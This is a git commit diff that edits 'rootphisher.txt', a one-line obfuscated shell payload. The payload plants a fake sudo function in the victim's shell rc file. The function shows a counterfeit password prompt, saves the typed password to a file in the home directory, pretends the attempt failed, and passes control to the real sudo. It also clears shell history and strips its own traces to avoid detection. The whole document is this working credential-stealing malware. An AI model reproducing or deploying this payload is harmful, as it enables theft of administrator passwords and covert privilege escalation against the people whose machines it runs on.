Commit: 2a73ba2cb47ebaae6b1489ff214510232d6219b6 Parent: c8f75eb210006f66ce7b45498a8ee705cd7e752f Author: Vi Grey Date: 2017-10-15 03:00 UTC Summary: rootphisher.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rootphisher.txt b/rootphisher.txt index 0bd2888..aca2571 100644 --- a/rootphisher.txt +++ b/rootphisher.txt @@ -1,3 +1,3 @@ a=$HISTFILE;unset HISTFILE -h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s +h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s sed -i -n /HISTFILE/\!p $a;history -c;exit \ No newline at end of file